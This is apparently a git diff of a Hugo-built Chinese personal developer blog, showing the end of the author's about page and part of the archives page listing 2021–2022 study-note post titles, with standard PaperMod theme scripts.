class=post-content><p>关于本站</p><p>这是本人的个人博客，分享一些本人学习过程中写的笔记</p><p>如果文章出现错误或者不正确的地方，欢迎在文章下提出，进行纠正，笔记会根据学习进度来进行更新或者修改</p><p>本站未注明转载的文章均为原创，转载请标明来源</p><p>本站点基于hugo构建</p><hr><p>免责声明</p><p>本站内容仅供学习和参阅使用，本网站内容仅代表作者本人的观点，内容仅供阅读，如有任何问题，欢迎联系站长（email：chenjunlinabc123@foxmail.com），将会在第一时间为您做相关处理</p><hr><p>自述：</p><p>2002年出生，星座：摩羯座</p><p>偏好语言：JavaScript(TypeScript)，Golang，Python，Rust</p><p>APP&小程序：Flutter，Taro</p><p>家里蹲公司的一名干饭攻城狮</p><p>最喜欢的游戏：CSGO，塞尔达传说：旷野之息，王者荣耀</p><p>看完的小说：全职法师，雪鹰领主，吞噬星空，星辰变，牧龙师</p><p>目前在看小说：完美世界</p><hr><p>联系方式：</p><p>邮箱：chenjunlinabc123@foxmail.com</p><p>GitHub：https://github.com/chenjunlinabc</p><hr><p>书籍：</p><p>GO语言学习笔记，数学之美，深入浅出Docker，GO语言核心编程，JavaScript高级程序设计，深入浅出Nodejs，React进阶之路，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理</p></div><footer class=post-footer><ul class=post-tags></ul></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/archives/index.html b/archives/index.html
index 3cf1818c..bc8029e6 100644
--- a/archives/index.html
+++ b/archives/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>归档 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="归档 - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/archives/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="归档"><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/archives/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content><meta property="article:published_time" content="2022-04-17T22:47:12+08:00"><meta property="article:modified_time" content="2022-04-17T22:47:12+08:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="归档"><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"归档","item":"https://xiaochenabc123.github.io/archives/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"归档","name":"归档","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"2022-04-17T22:47:12+08:00","dateModified":"2022-04-17T22:47:12+08:00","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/archives/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span class=active>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><h1>归档</h1></header><div class=archive-year><h2 class=archive-year-header>2022<sup class=archive-count>&nbsp;&nbsp;30</sup></h2><div class=archive-month><h3 class=archive-month-header>November<sup class=archive-count>&nbsp;&nbsp;7</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>汇编基础学习笔记</h3><div class=archive-meta><span title='2022-11-20 11:49:00 +0000 UTC'>2022-11-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 汇编基础学习笔记" href=https://xiaochenabc123.github.io/posts/162/></a></div><div class=archive-entry><h3 class=archive-entry-title>Deno js运行时环境学习笔记</h3><div class=archive-meta><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Deno js运行时环境学习笔记" href=https://xiaochenabc123.github.io/posts/161/></a></div><div class=archive-entry><h3 class=archive-entry-title>计算机图形学学习笔记</h3><div class=archive-meta><span title='2022-11-08 12:00:00 +0000 UTC'>2022-11-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 计算机图形学学习笔记" href=https://xiaochenabc123.github.io/posts/159/></a></div><div class=archive-entry><h3 class=archive-entry-title>WebSocket学习笔记</h3><div class=archive-meta><span title='2022-11-05 14:00:00 +0000 UTC'>2022-11-05</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to WebSocket学习笔记" href=https://xiaochenabc123.github.io/posts/158/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Element Plus组件库</h3><div class=archive-meta><span title='2022-11-03 17:40:00 +0000 UTC'>2022-11-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Element Plus组件库" href=https://xiaochenabc123.github.io/posts/157/></a></div><div class=archive-entry><h3 class=archive-entry-title>计算机网络学习笔记</h3><div class=archive-meta><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://xiaochenabc123.github.io/posts/156/></a></div><div class=archive-entry><h3 class=archive-entry-title>计算机组成原理学习笔记</h3><div class=archive-meta><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://xiaochenabc123.github.io/posts/155/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>October<sup class=archive-count>&nbsp;&nbsp;1</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单使用PWA技术</h3><div class=archive-meta><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://xiaochenabc123.github.io/posts/154/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>June<sup class=archive-count>&nbsp;&nbsp;2</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>ECharts数据可视化图表库简单使用</h3><div class=archive-meta><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://xiaochenabc123.github.io/posts/153/></a></div><div class=archive-entry><h3 class=archive-entry-title>Nuxt.js学习笔记</h3><div class=archive-meta><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>May<sup class=archive-count>&nbsp;&nbsp;3</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单使用Scoop包管理器</h3><div class=archive-meta><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Scoop包管理器" href=https://xiaochenabc123.github.io/posts/150/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Corepack-包管理器的管理器</h3><div class=archive-meta><span title='2022-05-13 00:09:00 +0000 UTC'>2022-05-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Corepack-包管理器的管理器" href=https://xiaochenabc123.github.io/posts/149/></a></div><div class=archive-entry><h3 class=archive-entry-title>编译原理学习笔记</h3><div class=archive-meta><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://xiaochenabc123.github.io/posts/148/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>April<sup class=archive-count>&nbsp;&nbsp;4</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>vuejs底层原理学习笔记</h3><div class=archive-meta><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://xiaochenabc123.github.io/posts/147/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Pm2&mdash;node进程管理工具</h3><div class=archive-meta><span title='2022-04-19 20:39:27 +0800 CST'>2022-04-19</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Pm2---node进程管理工具" href=https://xiaochenabc123.github.io/posts/pm2/></a></div><div class=archive-entry><h3 class=archive-entry-title>web安全学习笔记</h3><div class=archive-meta><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to web安全学习笔记" href=https://xiaochenabc123.github.io/posts/145/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单了解a11y无障碍</h3><div class=archive-meta><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://xiaochenabc123.github.io/posts/144/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>March<sup class=archive-count>&nbsp;&nbsp;3</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>Rust学习笔记</h3><div class=archive-meta><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Rust学习笔记" href=https://xiaochenabc123.github.io/posts/142/></a></div><div class=archive-entry><h3 class=archive-entry-title>Flutter框架学习笔记</h3><div class=archive-meta><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://xiaochenabc123.github.io/posts/141/></a></div><div class=archive-entry><h3 class=archive-entry-title>browserslist的简单配置</h3><div class=archive-meta><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>February<sup class=archive-count>&nbsp;&nbsp;7</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单使用Express-Web应用框架</h3><div class=archive-meta><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Express-Web应用框架" href=https://xiaochenabc123.github.io/posts/138/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Hugo搭建网站</h3><div class=archive-meta><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单了解RESTful设计规范</h3><div class=archive-meta><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://xiaochenabc123.github.io/posts/136/></a></div><div class=archive-entry><h3 class=archive-entry-title>Gin框架学习笔记</h3><div class=archive-meta><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></div><div class=archive-entry><h3 class=archive-entry-title>beego应用框架的简单使用</h3><div class=archive-meta><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用ESbuild打包工具</h3><div class=archive-meta><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用GitHub Actions来实现CI/CD</h3><div class=archive-meta><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>January<sup class=archive-count>&nbsp;&nbsp;3</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单使用TailwindCSS</h3><div class=archive-meta><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></div><div class=archive-entry><h3 class=archive-entry-title>PostCSS学习笔记</h3><div class=archive-meta><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://xiaochenabc123.github.io/posts/129/></a></div><div class=archive-entry><h3 class=archive-entry-title>Golang进阶扩展笔记</h3><div class=archive-meta><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://xiaochenabc123.github.io/posts/128/></a></div></div></div></div><div class=archive-year><h2 class=archive-year-header>2021<sup class=archive-count>&nbsp;&nbsp;89</sup></h2><div class=archive-month><h3 class=archive-month-header>December<sup class=archive-count>&nbsp;&nbsp;4</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>python爬虫学习笔记</h3><div class=archive-meta><span title='2021-12-31 01:05:00 +0000 UTC'>2021-12-31</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to python爬虫学习笔记" href=https://xiaochenabc123.github.io/posts/125/></a></div><div class=archive-entry><h3 class=archive-entry-title>Pinia&mdash;vuejs的轻量级状态管理库</h3><div class=archive-meta><span title='2021-12-26 20:22:00 +0000 UTC'>2021-12-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Pinia---vuejs的轻量级状态管理库" href=https://xiaochenabc123.github.io/posts/124/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用vuex状态管理库</h3><div class=archive-meta><span title='2021-12-13 06:19:00 +0000 UTC'>2021-12-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用vuex状态管理库" href=https://xiaochenabc123.github.io/posts/123/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单了解RSS</h3><div class=archive-meta><span title='2021-12-06 02:32:00 +0000 UTC'>2021-12-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解RSS" href=https://xiaochenabc123.github.io/posts/122/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>November<sup class=archive-count>&nbsp;&nbsp;3</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单了解设计模式</h3><div class=archive-meta><span title='2021-11-30 15:08:00 +0000 UTC'>2021-11-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解设计模式" href=https://xiaochenabc123.github.io/posts/121/></a></div><div class=archive-entry><h3 class=archive-entry-title>shell脚本学习笔记</h3><div class=archive-meta><span title='2021-11-23 00:01:00 +0000 UTC'>2021-11-23</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to shell脚本学习笔记" href=https://xiaochenabc123.github.io/posts/120/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Rollup模块打包工具</h3><div class=archive-meta><span title='2021-11-10 16:22:00 +0000 UTC'>2021-11-10</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Rollup模块打包工具" href=https://xiaochenabc123.github.io/posts/119/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>October<sup class=archive-count>&nbsp;&nbsp;4</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>Web.py学习笔记</h3><div class=archive-meta><span title='2021-10-18 12:00:00 +0000 UTC'>2021-10-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Web.py学习笔记" href=https://xiaochenabc123.github.io/posts/117/></a></div><div class=archive-entry><h3 class=archive-entry-title>weex跨平台框架学习笔记</h3><div class=archive-meta><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://xiaochenabc123.github.io/posts/116/></a></div><div class=archive-entry><h3 class=archive-entry-title>操作系统学习笔记</h3><div class=archive-meta><span title='2021-10-07 09:00:00 +0000 UTC'>2021-10-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 操作系统学习笔记" href=https://xiaochenabc123.github.io/posts/115/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用mocha测试框架</h3><div class=archive-meta><span title='2021-10-03 12:55:00 +0000 UTC'>2021-10-03</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用mocha测试框架" href=https://xiaochenabc123.github.io/posts/114/></a></div></div></div><div class=archive-month><h3 class=archive-month-header>September<sup class=archive-count>&nbsp;&nbsp;14</sup></h3><div class=archive-posts><div class=archive-entry><h3 class=archive-entry-title>简单使用istanbul代码覆盖率工具</h3><div class=archive-meta><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://xiaochenabc123.github.io/posts/113/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Lerna多包管理工具</h3><div class=archive-meta><span title='2021-09-26 12:50:00 +0000 UTC'>2021-09-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Lerna多包管理工具" href=https://xiaochenabc123.github.io/posts/112/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用ESlint代码风格校验工具</h3><div class=archive-meta><span title='2021-09-23 10:06:00 +0000 UTC'>2021-09-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用ESlint代码风格校验工具" href=https://xiaochenabc123.github.io/posts/111/></a></div><div class=archive-entry><h3 class=archive-entry-title>Umi框架学习笔记</h3><div class=archive-meta><span title='2021-09-20 21:00:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Umi框架学习笔记" href=https://xiaochenabc123.github.io/posts/110/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单了解并且使用npm script</h3><div class=archive-meta><span title='2021-09-20 14:30:00 +0000 UTC'>2021-09-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解并且使用npm script" href=https://xiaochenabc123.github.io/posts/109/></a></div><div class=archive-entry><h3 class=archive-entry-title>数据结构学习笔记</h3><div class=archive-meta><span title='2021-09-17 01:00:00 +0000 UTC'>2021-09-17</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 数据结构学习笔记" href=https://xiaochenabc123.github.io/posts/106/></a></div><div class=archive-entry><h3 class=archive-entry-title>NodeJS常用工具的简单使用</h3><div class=archive-meta><span title='2021-09-16 21:55:00 +0000 UTC'>2021-09-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to NodeJS常用工具的简单使用" href=https://xiaochenabc123.github.io/posts/105/></a></div><div class=archive-entry><h3 class=archive-entry-title>Angular学习笔记</h3><div class=archive-meta><span title='2021-09-13 12:00:00 +0000 UTC'>2021-09-13</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Angular学习笔记" href=https://xiaochenabc123.github.io/posts/101/></a></div><div class=archive-entry><h3 class=archive-entry-title>Koa框架学习笔记</h3><div class=archive-meta><span title='2021-09-12 18:30:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Koa框架学习笔记" href=https://xiaochenabc123.github.io/posts/100/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单了解CSRF攻击和XSS攻击</h3><div class=archive-meta><span title='2021-09-12 17:00:00 +0000 UTC'>2021-09-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单了解CSRF攻击和XSS攻击" href=https://xiaochenabc123.github.io/posts/99/></a></div><div class=archive-entry><h3 class=archive-entry-title>Redis学习笔记</h3><div class=archive-meta><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Redis学习笔记" href=https://xiaochenabc123.github.io/posts/97/></a></div><div class=archive-entry><h3 class=archive-entry-title>Golang学习笔记</h3><div class=archive-meta><span title='2021-09-09 01:00:00 +0000 UTC'>2021-09-09</span>&nbsp;·&nbsp;13 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to Golang学习笔记" href=https://xiaochenabc123.github.io/posts/96/></a></div><div class=archive-entry><h3 class=archive-entry-title>简单使用Jest-JavaScript测试工具</h3><div class=archive-meta><span title='2021-09-06 23:00:00 +0000 UTC'>2021-09-06</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</div><a class=entry-link aria-label="post link to 简单使用Jest-JavaScript测试工具" 